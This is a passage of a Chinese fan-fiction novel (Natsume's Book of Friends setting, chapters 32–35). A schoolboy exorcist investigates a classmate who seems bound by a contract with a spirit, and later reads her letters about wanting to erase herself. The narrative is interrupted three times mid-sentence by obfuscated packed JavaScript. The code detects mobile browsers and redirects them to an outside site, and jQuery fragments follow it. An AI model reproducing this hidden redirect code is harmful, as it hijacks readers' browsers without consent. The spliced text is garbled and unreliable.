朔也不知道这个人是出于什么心情送出了第二封信,但这件事情让他感知到了让人不适的诡异。 “静司先生,你说的办法为什么不起作用呢?” 当朔也抱怨的时候,的场静司的注意力却放在了别的地方,“收到了两封一样的信件?” 朔也摇摇头,“外观一样,但里面的内容是否一样就不清楚了。” 的场静司弯起嘴角,“哦呀,看来是很执着的追求者。” 朔也本想说说包括情书和妖气在内的所有奇怪的事,但想了想还是放弃了,现在基本上没什么线索,即使告诉静司先生后也得想办法调查才行,还会让静司先生担心。 “听说朔也最近回家晚了些,是有什么活动么?”的场静司随意地问道。 “嗯,学校里有点事情。” “这样啊。” 的场静司笑了笑,没有追问下去。 * “模特?” 朔也看着江口,一脸疑惑。 “是的,写生模特。”江口点点头,解释道:“小林前辈很希望能邀请到你呢,如果你愿意的话,就算不入社,也可以随时去美术社那边,材料和设备都随你用!” “唔……”朔也思考了一会儿,“不过可能只有最近可以,后面的话……” “就算只有一次也可以!”江口连连点头,笑道:“之前都是社员互相做模特,都已经画腻了,你能来真的太好了!” 看着江口雀跃地离开,后桌的飒真戳了戳朔也,“你怎么和美术社熟起来了?” “呃,意外?” 飒真疑惑地眨了眨眼,吐槽道:“说真的,你最近越来越奇怪了。” 不知道什么时候才能查出些蛛丝马迹的朔也叹了口气,赞同地点点头。 不过,做写生模特好歹有理由去美术社继续查探了。 其实朔也有一些基本的猜测,到目前为止,他察觉到妖气的地方,一个是班级教室,一个是画室,这很容易便联想到,和妖气有关的人就是美术社三个同班同学之一。 暂时不考虑其他情况,仅仅是三选一的话,目标就清晰多了。 朔也一边做模特,一边不动声色地打量着三个同学。 江口是三人中朔也最熟悉的,他是个性格开朗的男生,和朔也一样是从初中部直升上来的,在学校里有一些熟悉的朋友,朔也有时候会看到他和外班的几个人一起吃午餐。 叫长谷川的女同学是从外校考进来的,有点特立独行,通俗点说就是很有艺术家的气质,不过她在同班有两个要好的朋友,课间时候经常聚在一起说笑。 另一位叫秋山的女同学也是从外校考进来的,她在班级里很安静,一直独来独往,似乎就连课间也在努力学习,大概是因为太安静了,朔也对她没什么印象。 但在这三人中,如果要靠直觉选出一个“嫌疑人”的话,朔也一定会先考虑秋山。 这不是因为他不喜欢这位同学,而是对妖怪来说,这样的人类往往更容易被引诱和欺骗。 朔也打量着秋山的神情,她好像完全沉浸在绘画的世界里,看向自己的目光非常专注,不知道是不是他的错觉,他总觉得这种专注度比其他社员更胜一筹。 秋山的视线上移,和朔也的视线撞到一起,就在朔也想着是不是该微笑一下的时候,对方的视线飞快地移开了,女孩微微低头看向自己的画板,垂下的长发遮住了她的神情。 这只是一瞬间发生的事情,看上去只是内向的女生回避了对视,但朔也敏锐地捕捉到了少女那一瞬间的僵硬与防备。 秋山,很害怕自己? 朔也不再看秋山,他对自己之前的猜测稍微多了一点把握。 * 为了调查妖气的事情,朔也不仅回家晚了,早上出门的时间也大幅提前。 刚到餐厅的的场静司见朔也急匆匆地要出门,不禁问道:“不吃早餐吗?” 朔也抬手示意了一下手里的饭团,“我出门啦!” 听着朔也快步离开的脚步声,的场静司挑眉,询问一旁的女仆千夏,“朔也学校最近有活动?是体育祭到了?” 千夏茫然地摇摇头,“没听朔也少爷提起过这些。”她想了想,忽然笑起来,“也许是恋爱了吧?听说朔也少爷在学校里很受欢迎呢!” 这样的猜测…… 的场静司没有答话。 * 就算轮到自己值日,朔也也很少这么早就到校,他本以为这个点教室里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806952|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人,但转过回廊,发现教室的门已经打开了。 难道平时的值日生会这么早来吗? 朔也暗自嘀咕着走近了些,瞥向窗户的视线隐约扫见了一个人影,他愣了一下,快步走进教室。 教室里只有秋山一个人,她正在开窗通风。 “秋山同学,早上好。” 见到朔也进来,秋山迟疑了一瞬,轻声应了一句,然后就仿佛躲避着什么一般很快坐回了自己的座位。 朔也来到自己的储物柜前,借着放东西的机会查看了一下两封情书。 他很确定,有人动过这两个信封。 虽然信封完好无损,但被挪动了位置。 朔也想了想,关上了储物柜。 就算有所怀疑,但毕竟没有确切的证据,只能继续查。 至少,不管这个妖气源自哪里,暂时还没有真的影响到同学们。 当务之急,是多打听一些关于秋山的消息。 朔也在午餐时间询问飒真的时候,本来没报什么期望——因为飒真和他一样,更关注学业,对同班女生了解不多。 但没想到飒真给了他出乎意料的信息。 “秋山同学啊……她想考取的学校估计对偏差值要求很高。” “你怎么知道?” “因为她和我在同一家塾补习啊,我偶尔会看见她。”飒真想了想说道:“啊,对了,最近听补习老师说她进步很大,尤其是国语。” 朔也点点头,“飒真,你觉得秋山同学是个什么样的人?” 飒真打量了朔也一会儿,露出不可思议的表情,“你……” “绝对不是你想的那样!”朔也坚定地否认道。 “好吧。”飒真耸耸肩,说道:“我和她不熟悉,只听其他同学提过一些,好像是从别的城市搬家过来的,是美术特待生。” “性格的话,看上去有点内向,不过她在塾里好像更放松一些,比在学校里开朗。”说到这里飒真忍不住吐槽,“这点其实还挺奇怪的,我觉得在学校比在塾那边轻松多了,一般人都会这么觉得吧。” “她在塾里更开朗?” “是啊,我有几次看到她和补习老师说话,氛围很轻松,我当时还很惊讶来着。” 飒真回想着,努力描述道:“她和补习老师说话的样子……怎么说呢,不像是学生和老师,反而像是同龄人聊天,因为这点很特别,我印象很深。” “呃,你确定你说的人是和我们同班的秋山同学吗?”朔也很难将飒真的描述和班级里安静得几乎没有存在感的女生联系起来。 “你也觉得难以置信是不是!”飒真有种得到共鸣的兴奋,“我当时也差点以为自己认错了,但她主动和我打过招呼,这样总不至于弄错吧?” 朔也皱着眉头思考了一会儿,继续问道:“还有其他吗?” “没了。”飒真摇摇头,转而好奇问道:“你想认识她?” 朔也无语,“难道我现在不认识吗?” “你明明知道我说的什么意思。”飒真撇撇嘴,但最终没有探究朔也这么做的原由,只是叮嘱道:“有什么需要帮忙的,就随时告诉我啊。” 朔也笑着比了个OK的手势。 从飒真那里得来的部分信息,在下午的国语课上就得到了验证。 国语老师在发还上节课的测验试卷时,特意表扬了秋山,说她最近进步很大。 得到这样的认可,没有哪个学生会不高兴。 但朔也觉得秋山虽然一副微笑的样子,情绪却平稳得没有一丝波澜,仿佛这种事情很微不足道一般。 这个一向安静的同学,比朔也以为的要复杂得多。 33.第三十三章 同学 * 放学后,朔也继续他最近的兼职——去美术社做模特。 朔也也是在做过一次写生模特后,才知道这个工作其实算是个苦差事,1个多小时,除了中间的休息时间,都得保持同一个姿势,如果不是朔也从小锻炼,大概会觉得很痛苦。 小林社长遵守承诺,在得知朔也对陶艺感兴趣后,干脆让朔也跟着会做陶艺的社员一起学,这也给做完模特的朔也继续留在美术社的机会。 朔也承认自己在“盯梢”秋山,但好在他不需要用那种肉眼紧盯的形式,毕竟对妖气的感知不需要眼睛,他只要和秋山待在一个空间里就行。 而且秋山是女生,又表现的很内向,他太关注对方反而容易弄巧成拙。 但有一点是朔也没有料到的,他是那种做起事情来会特别专注的人,虽然提出学陶艺多少有点目的不纯,但当真正开始着手玩起陶土时,他竟然投入得很,一心沉浸在手捏陶土的快乐里。 等朔也磕磕绊绊地捏出一只猫咪陶俑时,社团活动已经临近尾声,他抬头看向绘画的区域,秋山已经不在画室了。 朔也默默懊恼了几秒,给自己未来可能会做的工作里添加了一条备注:不适合盯梢人类。 “咦?铃木君,你很有做陶艺的天赋哎,真的不考虑加入美术社吗?” 小林葵欣赏了一会儿朔也的“新手之作”,忍不住又游说起来。 “抱歉,小林前辈,放学后我得回家里帮忙,所以没法长期参加社团。” “啊,这样啊。”小林葵很是遗憾,也有些疑惑,“那你最近……” 不等朔也想出借口,她突然像想通了一般,看着朔也露出暧昧的笑容,“我知道了!跟我来,给你看样东西!” 知道什么了?他自己都还没开始想呢。 朔也茫然地跟着小林葵进入储物室,这里放着不少社员的画作。 小林葵找出一个画架,转过来正对朔也。 那是社员最近的习作,一副油画,画布中央是朔也的半身像。 朔也对绘画艺术、尤其是西洋画了解不多,无法从技法层面判断这幅作品的优劣,仅从视觉感知上来说,他会觉得这是一副很好的画。 这是朔也第一次看到自己的形象出现在画作中,这种感觉和照片带来的完全不一样。 摄影是纪录,虽然能通过光影来修饰,但看到照片的人依然会一眼看到定格时的那个自己。 但绘画不是影像的还原,而是画者内心的表达,它呈现的是画者心中的东西。 这位画者心中的“朔也”和朔也有些神似,但这幅画…… 沉郁昏暗的背景中,“朔也”半侧着的脸沐浴着柔和的光线,眼睛专注地看向一边,表情十分平静。 “铃木君,看到这幅作品,你有什么感觉?”小林葵笑着问道。 “呃……”朔也斟酌着说道:“很细腻。” “嗯嗯!”小林葵点头,看着朔也,明显期待他说更多。 朔也又看了一会儿,有些纠结地说道:“有一种力量感,坚定而稳固的感觉。” “BINGO!”小林葵赞赏的同时又觉得有些遗憾,铃木学弟有这样敏锐的感知不从事艺术业实在太可惜了。 “这是小紬的作品哦,在她的眼里,铃木君应当是很特别的存在吧!” 小林葵感叹道:“小紬很久没有画油画了,我还以为她真的放弃了,但你来画室后,她又开始认真地画油画……” 紬是秋山的名字,朔也没想到这幅画会是秋山画的,而且…… “前辈,秋山同学最近有什么不一样的地方吗?”朔也关心问道。 “啊,你果然是因为担心小紬才答应来美术社做模特的吧!”小林葵一脸“看穿一切”的表情。 “呃,不是……”朔也有了点百口莫辩的感觉。 果然,小林葵嫌弃地摆了摆手,“男孩子总是喜欢嘴硬。” 不过看在低年级可爱恋情的份上,小林葵还是告诉了朔也最近的事情。 秋山紬从小学油画,初中时还获得过一些奖项,所以成为了美术特待生。 在小林葵看来,秋山对技法的掌握和领悟都很厉害,只是尚未形成自己的风格。 对立志成为艺术家的人来说,会有这样的阶段很正常,有些艺术家甚至会在某个瓶颈期磨砺十多年甚至数十年才能有所得。 但秋山在迟迟未得到进步后,变得十分沮丧,甚至有段时间根本无法静心坐在画架前。 直到近一个月前,秋山突然表示自己不再画油画了,而是改画传统绘画。 “我之前一直不知道小紬会画传统画,那天要不是亲眼看着她动笔,我都以为她是在赌气。” 小林葵问道:“铃木君,你想看看吗?” 朔也赶紧点点头。 小林葵找了一会儿,又拿过来一个画架。 等朔也认真看过,小林葵期待地问道:“怎么样?” 这次朔也没有纠结,直接说道:“完全像是另一个人画的!” “是吧!”小林葵深以为然,“如果不是亲眼目睹,我也不敢相信。” 她和朔也站在一起,欣赏着画作,真切地感叹道:“这幅画无论是技艺还是风格都非常成熟,简直像是出自狩野派的大师之手……我不明白,既然有令人惊艳的能力,小紬之前为什么一直只画油画。” 朔也皱起眉,这样的异常,说是妖怪作祟,反而比秋山是天赋惊人的绘画天才更合理。 “还在担心吗?”小林葵看了朔也一眼,笑着安慰道:“既然小紬现在愿意画油画,看来已经开始放下之前的心结了,铃木君的努力很有用哦!” 朔也实在不好解释什么,只能说道:“谢谢小林前辈,今天的事,请不要告诉秋山同学,可以吗?” 小林葵没觉得奇怪,反而了然地点头,“明白了,铃木君太害羞啦~~我会帮你保密的!” 朔也默默叹了口气,只希望之后别传出什么让秋山困扰的流言才好。 * 秋山,或者说,可能正影响着秋山的东西,在学校里很谨慎,除了前两次被朔也捕捉到妖气外,之后一直掩藏得很好。 当然,也可能是因为学校里到处都是结界,那个东西非常忌惮。 朔也决定去进学塾看看。 “你也开始考虑进学塾了?”突然被朔也问起塾里的事情,飒真不禁好奇问道:“是报考的大学确定了吗?” “还没,我想先去看看,毕竟之后也得去的。” 飒真顿时来了精神,积极建议道:“要不你明天和我一起过去试听吧,我今天过去帮你预约!” 朔也点点头,除去探查秋山的异常外,他确实想多了解下进学塾的事情。 于是第二天放学后,朔也就跟着飒真去补习了。 试听完几节课程,又和补习老师聊了聊,等都结束时,已经入夜许久。 朔也在贩卖机买了瓶汽水,打算休息一会儿,顺便等飒真下课。 他今天在试听大班课时看到了秋山,她确实和在学校时很不一样,显得自信许多。 其实从不知情的普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811492|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的角度看,秋山的改变显然是好的,更有天赋、更聪明、更自信开朗,因为秋山平日的努力大家都看在眼里,更会觉得这种改变不过是她得到了应有的回报。 但现实是,并不是所有的付出都是有回报的,也不是所有的回报都能和付出的价值对等。 如果秋山是向某个妖怪许下了愿望,那不管她得到了什么,失去的一定会比得到的更多。 朔也靠在楼梯口发呆,有说话声从不远处的走廊传来,秋山的声音夹杂在其中,语气轻松且温和。 对话没有持续多久,朔也听着脚步声越来越近,直到转过拐角,停下。 “秋山同学。”朔也冲女孩点了点头。 秋山迟疑了一瞬才拘谨地回应,“……铃木同学。” 朔也刚刚听到的那种语气消失了,取而代之的是他更熟悉的声音。 “秋山同学,我们可以一起聊聊天吗?就在这附近。” 一直回避朔也视线的秋山抬头看了他一眼,犹豫了好一会儿才点了下头,“嗯。” 进学塾附近有一块绿地,两人一前一后走到了那里。 就在朔也斟酌着该怎么开口的时候,秋山紬却先一步问出了问题。 “铃木同学有看过我的信吗?” 朔也眨了眨眼睛,问道:“是淡蓝色的信封吗?” 秋山没有看他,只是默默点点头。 “抱歉,那两封信我都没有看。”朔也坦率地说道。 在秋山问出这个之前,他甚至不太确定那些信是否是她写的,因为他前不久刚对比过飒真借来的秋山国语笔记上的字迹,和信封上的很不一样,就像那两幅截然不同的画作。 秋山低着头,低声问道:“那铃木同学为什么要约我到这里呢?” “秋山同学,你最近有碰到什么奇怪的事吗?” 他紧紧盯着秋山的神情,解释道:“奇怪的人或者东西,又或者是做了离奇的梦,哪怕是产生过不确定的错觉,只要是不寻常的事情……你有遇到过吗?” 在朔也说话的过程中,秋山的脸逐渐变得苍白,她紧抿着唇摇了摇头。 “真的没有吗?”朔也皱紧眉,“那你有没有对着什么东西祈愿过?比如你想要……” “没有!”秋山突然开口打断朔也的话,不过她依旧没有看朔也,只是声音激动了不少,“我什么都没做!” “你别紧张,我……” “铃木同学,很晚了,我该回去了!” 秋山慌乱地鞠了一躬,转身快步离开,提着的书包在她腿上磕了一下,一个东西掉落到地上,但她没有察觉。 朔也跟着捡了起来,是个迷你毛绒公仔,很多高中生会在书包上挂上这种做装饰。 一个念头在朔也脑海里闪过,他快跑几步追上秋山。 “秋山同学,你的东西掉了!” 秋山僵在原地,在朔也的示意下小心地伸出手,接住公仔挂坠,以及一个金色的御守。 “这是我自己做的御守,希望它能保护你。” 秋山看了御守几秒,最后还是选择收下,她沉默地微鞠一躬,又匆忙跑远了。 朔也看着女孩的背影,表情愈发凝重。 那个御守里放着守护符咒,只要是他绘制的这种符咒,都会有很强的驱逐能力,如果妖怪只是附身的话,一接触就会有反应,但秋山拿着它却安然无恙。 “朔也。” 朔也应声回头,看到西装革履的的场静司正站在不远处的汽车旁边。 “太晚了,所以我来接你。” 34.第三十四章 依岛 * 的场静司看着朔也给朋友飒真发完信息,微笑问道:“朔也刚刚是在约会吗?” 朔也被自己的口水呛了一下,猛地咳嗽起来。 看着男孩涨红的脸,的场静司安抚地轻拍他的背,“如果介意的话,我就不问了。” 朔也终于喘过气来,挣扎着说道:“不要胡乱猜测啊,静司先生!” 的场静司微微挑眉,笑道:“哦呀,猜错了吗?” 朔也叹了口气,“这件事情,我需要静司先生的帮助。” 他把最近的事情以及自己的推测,事无巨细地讲了一遍。 “感觉秋山不像是被附身了,但如果仅凭祈愿就能实现现在的结果,那个和秋山做交易的妖怪一定特别强大。”朔也很是忧心。 的场静司沉吟了一会儿,突然问道:“朔也,你知道‘寄生’吗?” “知道。”朔也点点头,“我觉得名取先生身上那颗‘痣’就挺像是寄生的。” “那个勉强算是吧。”的场静司思忖道:“和附身相比,妖怪的寄生非常少见,也更让人捉摸不透。从那位同学表现出的异常来看,是被某种东西寄生了也说不定。” 朔也担心地问道:“秋山如果被寄生了,会有什么危险吗?” “寄生和附身有很大的差别,妖怪附身时会吞噬人类的力量,只要超过一定时间,被附身的人就会因虚弱而死。” “寄生的情况过于少见,我没在过往的资料里见过人因寄生而死的记载。” “但如果把人类的身体当做容器来看,寄生之物的最终目的大概是彻底占据容器,到那时,被寄生的人依然活着,但主宰身体和意识的,已经是另一种非人之物了。” 朔也在的场静司平淡的描述里打了个冷颤。 “说起来,有位除妖师前辈应该对寄生的事情更了解,朔也要和我一起去拜访吗?” “好啊!”朔也直点头。 “不过那位先生十分避世,不喜欢被人打扰,而且很厌恶除妖师,大概不会太欢迎我们。” 朔也顿时好奇起来。 * 的场静司所说的除妖师前辈被人们称为“依岛先生”,出自一个曾经和的场一门不相上下的除妖师家族,力量非常强大,以前是位极其优秀的除妖师。 只可惜那么强大的家族也逃脱不了没落的命运,作为继承者的依岛先生也在左手出现问题后,决定远离人群。 现在他独自居住在老宅所在的偏远森林里,平日里不与人来往,更不欢迎除妖师去拜访他。 “那我们现在去的话,会被这位先生赶出来吗?” 和的场静司漫步在布满结界的森林里,朔也担心地问道。 的场静司笑了笑,“如果我独自前来的话,确实会被拒之门外,那位先生对的场一门的人可是毫不留情呢。” “诶?为什么?”朔也疑惑道:“不是说依岛先生也是位手段强硬的除妖师吗?” “他很注重规则,大概觉得的场一门不择手段的理念十分野蛮。” “唔。”朔也若有所思地点点头,不过过了一会儿,他终于反应过来,“等等!静司先生,如果这样的话,那依岛先生岂不是更不愿意见我们了?” 的场静司淡定地微笑着:“放心吧,有你在,他会让我们进去的。” “啊?!” 朔也着实是一头雾水,不过就像的场静司说的那样,在他们按响门铃后没多久,依岛先生的家门就打开了。 看见依岛先生的第一眼,朔也的第一印象是,这个人过于年轻了。 在的场静司的讲述里,依岛先生应该比上一任的场当家更年长才对,但眼前的人看起来似乎比的场静司大不了多少。 朔也跟着的场静司行完礼,视线又放在了依岛先生绑起来的左手上,这就是传言里被妖怪吃掉而后又幻化出来的那只手吗…… “你看见了什么?” 男人盯着朔也突然问道。 朔也抬头看了看他冷淡严肃的神情,老实回答:“很浓郁的妖气。” 男人微微颔首,转身进了屋子,“进来吧,你们只能待一盏茶的时间。” 的场静司不以为意,带着朔也走进屋,笑道:“那就谢谢依岛先生了。” 朔也打量着这座古旧清冷的大宅,这里比的场家更干净,因为一只妖怪也没有,就连常年跟在除妖师身边的式神也看不见。 这就是坚定地遵守着规则的除妖师吗? 几人在会客室坐下之后,依岛先生的目光又落在了朔也身上,一旁的的场静司似乎完全被他忽略了。 “就是这孩子的事吗?”依岛先生冷淡地问道。 朔也看了看笑眯眯的的场静司,而后又看了看对面一直盯着他的男人,鞠躬行礼。 “依岛先生,我是铃木朔也,初次见面,打扰您了。” “嗯。”依岛先生微微点了点头,“你想知道妖怪寄生的事?” “是的。” 在朔也说完秋山紬的事情后,依岛先生很快就给出了自己的判断。 “听起来不像是通常意义上的‘寄生’。” “能够寄生于人类躯体的妖怪是很稀少的,它们不需要任何仪式和祈愿,只要有利的时机到来,就能寄生。” “这种寄生在最开始的很长一段时间内都只能停留在躯体的共生上,寄生之物无法影响人的意识。” “你的同学会写出截然不同的字迹,画出从未学习过的画作,这样的反应比起寄生,更像是她和非人之物缔结了契约,将自己的身体作为报酬,允许非人之物使用。” 朔也的眉头又皱到了一起,“那这样的结果会是……” “非人之物将她的身体视为己有,吞噬她的意识,然后以她的身份活着。” 依岛先生看着朔也,虽然说着可怖的事情,神情却很淡漠。 “那个孩子可能许下过让自己‘改变’的愿望,如果现在的改变是她想要的,契约一旦完成,除妖师也救不了她。” “怎么可能?!”朔也瞪大眼睛。 “这种可以视为‘献祭’的事情,我们是无法左右的。” 朔也本能地想反驳,却又没有能反驳的理由,难道他作为除妖师,只能眼睁睁地看着秋山被妖怪吞噬吗? 他焦躁地想了想,突然抓住一缕思绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818306|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “伊岛先生,所以最重要的是她许下的具体愿望,是不是?” 朔也思忖道:“发生在秋山身上的事情,只要有和愿望不匹配的,哪怕只有一点点,契约也无法达成!这个时候我们再想办法驱逐那个东西……” 依岛先生的神情忽然缓和了一些,他对朔也说道:“我这里有一些笔记,你待会儿带走吧。” 朔也惊讶了一瞬,而后开心笑起来:“谢谢依岛先生!” “此外。”依岛先生瞥了一旁的的场静司一眼,“的场想让我看看你的眼睛。” “诶?”朔也有些惊诧,“您也能看见吗?” “也只是能看见罢了。”依岛先生注视着朔也的左眼,问道:“你自己能感觉到什么吗?” 朔也有些纠结,“我觉得它不是我原本的眼睛,但我不知道它是什么时候出现的,我有记忆的时候它就已经这样了。” 依岛先生若有所思,过了一会儿才淡声说道:“它确实不属于你,但也不属于妖怪。” “是吗?”朔也有些怀疑,“但是之前有一只妖怪来找我索要某个东西,我一直以为它是想要这只眼睛……” “妖怪的话,不足为信!”依岛先生皱眉,“那些贪婪的家伙,不过是看见力量强大的东西就想据为己有。” “哦。”朔也老实地点头,“我明白了。” “如果没有其他事,你们就离开吧。” 虽然朔也和的场静司面前的茶都还没喝完,的场静司更是还没正式说过话,依岛先生已经起身离席,开始毫不客气地下逐客令了。 “啊,等等,依岛先生。”朔也赶紧问道:“您刚刚说,寄生人类的妖怪在很长一段时间内都只能停留在躯体的共生上,那这段时间结束之后呢?它会做什么?” 已经走到门口的依岛先生停了下来,他侧过身看了一眼朔也,隐藏在阴影中的脸神情晦暗,“我也无从知晓。” 男人走出门去,仅留下一句话,“无论怎样,人类大概再也不是人类了。” 朔也愣了一会儿,看向的场静司,对方正在悠闲地品着茶。 “是很好的茶呢,得借着朔也的光才能品尝到哦。” 朔也一时不知道该说什么,毕竟看起来依岛先生是真的很不欢迎静司先生。 “朔也,既然依岛先生这么喜爱你。”的场静司笑眯眯地说道:“下次你和我一起去摘依岛先生旧宅前的枇杷吧!” “的场家的小子,喝完茶就给我滚蛋!” 依岛先生突然又出现在了会客室的门口,瞥向的场静司的眼里满是不耐。 但面对朔也时,他的神情更柔和些,依岛先生将手里的一沓笔记递给少年,叮嘱道:“别学的场家那一套。” 朔也抱着笔记,乖乖点头。 这之后,两人就离开了,依岛先生没有送别他们,只是从楼上远远地扔下一句“把门带上”就没了动静。 漫步在森林里,朔也忍不住感叹道:“依岛先生是个好人。” 的场静司狠狠摸了一把朔也的头,笑道:“有时候真的很羡慕朔也呢!” “啊,头发乱了!” “嗯哼~” 35.第三十五章 扭曲 * 「 敬启。 在紫藤花盛开的时节,铃木同学,你还好吗? 这么突然地写信给你,抱歉。 听说你从来不会阅读这些信件,这让我感到失望的同时又有些庆幸。 这样的话,即便我这个胆小的人在这里说了什么冒犯的话,也不至于引来你的厌烦。 微妙的庆幸让我决定写下这封信,因为我有无论如何也要告诉铃木同学的事。 …… 敬上 秋山紬 」 * 朔也趴在书桌前,看着眼前的信纸发呆。 他原本以为秋山给他写的是情书,但看过之后才发现并非如此。 与其说对方是在表白,不如说是在倾诉。 在第一封信里,秋山提到了很早前的一件小事。 那是在刚开学没多久的体育课上,体育老师大概是想帮同班的学生互相熟悉起来,所以组织了一场男女生混合的排球比赛游戏,班级里的男女同学随机混合组队。 为了平衡男女生体能的差异,在这个游戏中,有一条特殊的规则,当一队向另一队发球时,对方首次接球的必须是女生。 朔也和秋山正好被分在同一队,队伍里除了秋山外还有另一位女同学。 那天课堂上的情形朔也已经记不太清了,在他看来,那不过是一节普通的体育课。 但在秋山的讲述里,那天她表现得很糟糕,因为害怕继续失误,一直让另一位女同学接球。 但就在她退缩在球场后方当隐形人的时候,是朔也指定让她接球。 「 当铃木同学叫住我的时候,我非常害怕,以为你会因为我糟糕的表现而斥责我。 但是你看着我说,“秋山同学,下次你来接球吧,你可以做到的。” 那一瞬间,铃木同学的眼睛,非常漂亮。 而我,像得到了来自神明的注视。 」 在看到这一段时,朔也甚至怀疑是不是那只奇怪的异瞳瞒着自己做了什么,才导致秋山出现了某种幻觉。 在他模糊的记忆里,他不过是作为队长适时调动场上的队员,秋山的表现也不像她说的那样差劲,至少在正常人的范围内,而且因为她个子高挑,在排球运动上反而有些优势。 总之,因为这堂体育课,秋山开始特别关注朔也。 在她的视角里,朔也是个自信勇敢、毫不迟疑的人,好像所有难题在朔也面前都不值一提,只是看着朔也就让她觉得安心。 然后在第一封信的结尾,秋山写到,从小到大,她总是会把事情搞砸,父母为她付出了一切,能力平庸的她,却总是沉湎在失败的阴影中,逃避压力,畏惧努力,既无法结束,更无法开始。 但因为朔也的存在,她决定做出改变,她要让原来那个懦弱失败的自己消失,成为像朔也这样优秀的人。 如果仅看秋山写的文字,似乎没什么问题,一个人因为憧憬另一个人,希望自己变得更好,这是人之常情。 但不知道是不是先入为主的关系,朔也在秋山的字里行间感受到另一种东西——自我贬低和自我说服。 秋山的视野是扭曲的,她看到的自己也是扭曲的,而这种扭曲的自己在她不停歇地自我说服之下,变成了一切痛苦的源头。 要让痛苦停止,就要让自己消失。 这实在不是什么好的预兆。 而这种预兆在秋山的第二封信里得到了印证。 这封信就像是一封告别信。 秋山在信里写了一些和朔也有关的让她觉得美好的小事,还提及了一两件她小时候的事情,最后她写道: 「 …… 写到这里,我竟然无比希望你会打开这封信。 但我写的这些,应该会让你很困扰吧。 抱歉。 那就这样吧。 铃木同学,你会记得我吗? 我祈祷,不要忘记。 敬上 秋山紬 」 朔也看着信的结尾,而后想到信出现的时间,突然意识到对方给他写信的真正目的。 * “飒真,秋山同学的国语笔记还在你这里吗?” “啊,在的,我正准备还给她。” “先借给我看看吧,稍后我会给她的。” “哦,那你记得尽快,今天上午有国语课来着。” “我知道。” 朔也接过笔记本,随意翻了翻,然后将一张便签夹了进去,并在课堂开始前将笔记还给了秋山。 在之后的国语课上,翻开笔记的秋山愣住,看向朔也的方向。 少年正平静地看着她,微微点了点头。 秋山收回视线,猛地合上笔记本,她的脑海里响起一个声音。 「你要去吗?」 秋山没有回答,那个声音沉寂了下去。 * 放学后,朔也按照约定的时间到了学校后侧的一处连廊,这处连接两栋建筑的走廊在放学后会变得很冷清,加上绿植的遮挡,是一个安静说话的好地方。 “铃木同学。” 朔也转头,秋山远远地站着,有些局促。 “秋山同学,我看了你的信。”朔也走近几步,看着女孩郑重地说道。 “对不起,我……”秋山有些慌张。 “为什么要道歉?”朔也神情非常平静,“我觉得你这样做很好。” 秋山看向朔也,神情迷茫。 朔也想了想,解释道:“啊,我是说,你通过写信向我求助的事情。” “呃,求助?不,我……”秋山困惑地摆了摆手。 看着这样的秋山,朔也索性打断她的话,说道:“秋山同学,你在信里写了很多对我的印象,那现在,你可以听听我眼中的你是什么样的吗?” 秋山明显变得更紧张起来,她不敢看朔也的眼睛,只是慢慢地点了点头。 “我眼中的秋山同学,很安静,很有耐心,做值日时非常细心,就连粉笔都会放在最方便老师拿取的位置。” “学习时很专注,也很努力,即便是面对不太擅长的数学,也不气馁,山田老师很欣赏你做的错题集。” 朔也努力回想着,一字一句地说道:“虽然不常运动,但其实有很好的动态视力,只要经过系统性地锻炼,就会有不错的运动表现。” “擅长绘画,虽然我只见过你画的那副我的画像,但我觉得是非常优秀的作品。” “抱歉,我对秋山同学的了解,仅限于以上这些。” 朔也看着呆愣在原地的秋山,认真说道:“但就算只是这些,也足以让我认为,你在信中描述的那个你眼中的‘秋山同学’,不是你真实的样子。” 从来没有人和秋山紬说过这样的话,她的眼睛不受控制地酸胀起来,嘴唇轻轻颤抖着,轻声说道:“不,那就是真实的我……” 朔也没有和秋山辩驳,而是平静地说道:“你说想要改变,但我在信里没有看见你具体想改变什么。” 少年的声音很和缓,说出口的话却直白地让人畏惧。 “我只看到你想抹杀原本的自己,好像这样就解决了所有的问题。但这样的话,对我眼中看到的那个‘秋山同学’,不是太不公平了吗?” 秋山的眼泪溢了出来,先是几滴,而后串联成线,划过苍白的脸颊。 她想起父母,想起自己第一次拿起画笔,那时,她不过是随意涂抹出心中的色彩,就能得到他们毫无保留的夸赞。 妈妈带她去知名的艺术教室,爸爸四处拜访艺术家,恳求他们能指点自己,当她获得第一个比赛奖项时,父母眼中是满满的骄傲和自豪。 她被期待成为更好的人,更有才华、更聪颖、更夺目,父母以为她可以是完美的珍珠,在平凡的砂砾中闪烁出耀眼的光。 但她只是一颗假珍珠,用塑料涂上珍珠的光泽用以伪装,时间稍微久一点,就会磨损出平庸的底色。 